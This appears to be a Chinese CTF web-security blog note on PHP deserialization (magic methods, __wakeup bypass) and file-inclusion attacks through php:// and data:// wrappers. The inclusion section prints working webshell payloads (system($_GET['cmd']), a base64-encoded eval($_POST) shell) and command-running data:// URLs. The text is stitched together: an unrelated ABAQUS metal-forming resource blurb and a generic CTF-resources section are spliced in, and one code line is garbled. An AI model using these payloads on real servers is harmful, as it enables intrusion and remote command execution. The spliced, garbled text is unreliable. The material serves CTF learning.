ctf web-部分

本文介绍了PHP反序列化和文件包含相关知识。反序列化通过serialize()和unserialize()函数实现,还介绍了常见魔法函数及__wakeup()绕过方法。PHP文件包含漏洞允许攻击者执行恶意操作,文中讲解了php://filter、php://input、data、file等协议在漏洞利用中的用法。

**

web基础知识

**

*一.反序列化

在PHP中,反序列化通常是指将序列化后的字节转换回原始的PHP对象或数据结构的过程。PHP中的序列化和反序列化通过serialize()和unserialize()函数实现。

1.序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{
public $test=“pikachu”;
}
s=newS();//创建一个对象serialize(s=new S(); //创建一个对象 serialize(s=newS();//创建一个对象serialize(s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

2.反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize(“O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}”);
echo $u->test; //得到的结果为pikachu

3.PHP常见魔法函数

(1)__wakeup()
在PHP中如果需要进行反序列化,会先检查类中是否存在_wakeup()函数,如果存在,则会先调用此类方法,预先准备对象需要的资源。
(2)__sleep()
使用serialize时触发
(3)__destruct()
在对象的所有引用都被删除或类被销毁时自动调用
(4)__construct()
此函数会在创建一个类的实例时自动调用
(5)__toString()
此函数会在类被当作字符串时调用
(6)__get()
在读取不可访问的属性值时自动调用,例如读取私有变量
(7)__call()
调用未定义的方法时调用,例如调用实例化类中未定义的方法

4.序列化其属性

序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名

5.__wakeup()绕过

版本限制
PHP5:<5.6.25
PHP7:<7.0.10
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
只需将O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}改成O:1:“S”:2:{s:4:“test”;s:7:“pikachu”;}即可绕过wakeup()

*二.PHP文件包含

PHP文件包含漏洞(File Inclusion Vulnerability)是一种安全漏洞,允许攻击者在应用程序中执行恶意的文件包含操作。这种漏洞通常出现在开发人员使用了不安全的文件包含函数时,例如include()、require()、include_once()、require_once()等,并且未正确过滤用户提供的输入。

1.php://filter伪协议

存在文件包含漏洞时,我们可以用php://filter进行文件的读取和写入,如读取flag.php文件,“?file=php://filter/read=convert.base64-encode/resource=flag.php”

2.php://input 协议

存在文件包含漏洞时,我们可以用php://input 命令执行也可直接写webshell

<?php fputs(fopen('my_shell.php','w'),'<?php system($_GET["cmd"]);?>');?>
#post方式提交base编码利用密码cc
<?php 
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

通常用法:执行<?php system("ls") ?>可查看文件,通常用来查找和读取flag文件位置,也配合php://filter进行读取
在这里插入图片描述

3.data 协议

其实data协议和input协议差不多,只是data是get方法,input是post方法,data伪协议配合命令来读取到的文件会在 PHP 脚本生成的 HTML 页面中显示。
用法:
读取文件:?c=data://text/plain,<?php system('cat fla*.php');?>
查找文件:?c=data://text/plain,<?php system('ls');?>
利用编码:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
shell:data://text/plain,<?php eval($_POST[pass]);?>

4.file协议

file伪协议
file 伪协议用于访问本地文件系统中的文件,可以在 web 页面中链接到本地文件,或者读取本地文件中的数据。

在这里插入图片描述

一、 内容概要 本资源提供了一个完整的“金属板材压弯成型”非线性仿真案例,基于ABAQUS/Explicit或Standard求解器完成。案例精确模拟了模具(凸模、凹模)与金属板材之间的接触、压合过程,直至板材发生塑性弯曲成型。 模型特点:包含完整的模具-工件装配体,定义了刚体约束、通用接触(或面面接触)及摩擦系数。 材料定义:金属板材采用弹塑性材料模型,定义了完整的屈服强度、塑性应变等真实应力-应变数据。 关键结果:提供了成型过程中的板材应力(Mises应力)、塑性应变(PE)、厚度变化​ 云图,以及模具受力(接触力)曲线,完整再现了压弯工艺的力学状态。 二、 适用人群 CAE工程师/工艺工程师:从事钣金冲压、模具设计、金属成型工艺分析与优化的专业人员。 高校师生:学习ABAQUS非线性分析、金属塑性成形理论,或从事相关课题研究的硕士/博士生。 结构设计工程师:需要评估钣金件可制造性(DFM)或预测成型回弹的设计人员。 三、 使用场景及目标 学习目标: 掌握在ABAQUS中设置金属塑性成形仿真的全流程,包括材料定义、复杂接触设置、边界条件与载荷步。 学习如何调试和分析大变形、非线性接触问题的收敛性技巧。 理解如何通过仿真预测成型缺陷(如减薄、破裂、回弹),并与理论或实验进行对比验证。 应用价值:本案例的建模方法与分析思路可直接应用于汽车覆盖件、电器外壳、结构件等钣金产品的冲压工艺开发与模具设计优化,减少试模成本。 四、 其他说明 资源包内包含参数化的INP文件、CAE模型文件、材料数据参考及一份简要的操作要点说明文档。INP文件便于用户直接修改关键参数(如压边力、摩擦系数、行程)进行自主研究。 建议使用ABAQUS 2022或更高版本打开。显式动力学分析(如用Explicit)对计算资源有一定要求。 本案例为教学与工程参考目的提供,用户可基于此框架进行拓展,应用于V型弯曲
### CTF Web 安全挑战的学习资源 对于希望深入理解并参与CTF(夺旗竞赛)Web安全挑战的人来说,获取高质量的学习材料至关重要。这些资源不仅帮助参与者掌握基础概念和技术细节,还提供了实践机会来应用所学知识。 #### 推荐书籍与在线课程 一些优秀的书籍和在线平台专注于教授Web漏洞挖掘技巧以及防御措施。例如,《Web Application Hacker's Handbook》全面介绍了各种攻击向量及其对应的防护策略;Coursera上的《Cybersecurity Specialization》系列课程也涵盖了大量有关网络攻防的知识点[^1]。 #### 实践练习网站 为了更好地准备比赛中的实际操作部分,建议访问专门设计用于训练的安全测试环境。像HackTheBox、Try Hack Me这样的站点提供了一系列难度渐进的任务场景供玩家探索,而PWNABLE则更侧重于二进制逆向工程等方面的能力培养[^2]。 #### 社区交流论坛 加入活跃的技术讨论群组能够加速个人成长过程。Reddit下的r/netsec板块汇聚了许多信息安全爱好者分享见解;还有官方CTF赛事主办方设立的Discord服务器也是不错的选择之一,这里可以找到志同道合的朋友共同探讨难题解决方案。 ```python import requests def fetch_ctf_challenges(): url = 'https://example.com/challenges' response = requests.get(url) if response.status_code == 200: challenges = response.json() return challenges['data'] else: raise Exception('Failed to load data') challenges = fetch_ctf_challenges() print(challenges[:5]) # 打印前五个挑战题目概要信息 ``` 此段Python代码展示了如何通过API接口获取某一站点发布的最新CTF挑战列表,并打印其中部分内容作为示例展示给读者了解可能存在的交互形式。
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值